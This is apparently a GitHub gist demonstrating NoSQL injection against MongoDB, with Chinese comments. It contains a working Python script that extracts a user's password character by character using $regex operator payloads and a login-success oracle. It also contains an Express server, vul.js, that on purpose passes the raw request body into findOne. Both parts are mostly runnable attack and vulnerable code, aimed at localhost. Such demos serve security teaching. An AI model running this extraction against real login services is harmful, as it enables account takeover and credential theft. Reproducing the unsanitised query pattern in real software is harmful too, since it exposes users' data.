Skip to content

Instantly share code, notes, and snippets.

@bx33661
Created November 5, 2025 06:57
Show Gist options
  • Select an option

  • Save bx33661/e75e27e7f90a2fe1d9c523f8d97e6892 to your computer and use it in GitHub Desktop.

Select an option

Save bx33661/e75e27e7f90a2fe1d9c523f8d97e6892 to your computer and use it in GitHub Desktop.
NoSQL注入示例基于MongoDB
import requests
import string
import re
TARGET_USERNAME = "admin"
# "神谕"的判断依据
SUCCESS_MESSAGE = "登录成功"
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?/`~"
known_password = ""
url = "http://localhost:3369/login"
print(f"[*] 开始攻击 {TARGET_USERNAME} ...")
while True:
found_char_in_iteration = False
for char in CHARSET:
# 转义已知密码 + 当前字符,以避免特殊字符导致无效regex
escaped_prefix = re.escape(known_password + char)
# 构造 $regex 载荷
payload = {
"username": TARGET_USERNAME,
"password": {"$regex": f"^{escaped_prefix}.*"}
}
# 在终端打印我们正在尝试的载荷
print(f"[?] 尝试: {known_password}{char}", end='\r')
try:
res = requests.post(url, json=payload)
# 打印调试信息
print(f"\n[调试] 响应状态: {res.status_code}, 内容: {res.text}")
# 检查 "神谕"
if res.status_code == 200 and SUCCESS_MESSAGE in res.text:
known_password += char
print(f"\n[+] 发现字符: {char} -> 当前密码: {known_password}")
# 可选:精确匹配检查以确认是否完整(优化边界)
exact_payload = {
"username": TARGET_USERNAME,
"password": known_password
}
exact_res = requests.post(url, json=exact_payload)
if exact_res.status_code == 200 and SUCCESS_MESSAGE in exact_res.text:
print(f"\n[+] 精确匹配确认: {known_password} 是完整密码!")
found_char_in_iteration = True
break
found_char_in_iteration = True
break # 找到字符,跳出内层循环,开始猜下一个字符
except requests.exceptions.RequestException as e:
print(f"\n[!] 请求错误 for {known_password + char}: {e}")
continue # 跳过这个char,继续下一个
if not found_char_in_iteration:
# 如果跑完所有字符集都没找到新字符,说明密码已猜完
break
print(f"\n[***] 攻击完成! [***]")
print(f"成功提取到密码: {known_password}")
// vul.js
const express = require('express');
const { MongoClient } = require('mongodb');
const app = express();
app.use(express.json()); // 允许服务器解析 JSON 请求体
const mongoUrl = 'mongodb://localhost:27017'; // 你的 MongoDB 连接字符串
const dbName = 'test'; //这里填存储密码的数据库名
async function startServer() {
const client = new MongoClient(mongoUrl);
await client.connect();
console.log('已连接到 MongoDB');
const db = client.db(dbName);
const usersCollection = db.collection('users');
// 这里设置一个危险路由
app.post('/login', async (req, res) => {
// 漏洞点:直接将用户输入的 JSON 对象作为查询条件
const query = req.body;
console.log(`[调试] 收到查询:`, JSON.stringify(query));
try {
// 数据库将直接执行这个由用户控制的查询对象
const user = await usersCollection.findOne(query);
if (user) {
console.log(`[调试] 找到用户:`, user.username);
res.status(200).json({ message: `登录成功,欢迎你, ${user.username}!` });
} else {
console.log(`[调试] 未找到用户。`);
res.status(401).json({ message: '用户名或密码错误。' });
}
} catch (err) {
console.error(err);
res.status(500).send('服务器内部错误');
}
});
app.listen(3369, () => {
console.log('漏洞服务器运行在 http://localhost:3369');
});
}
startServer();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment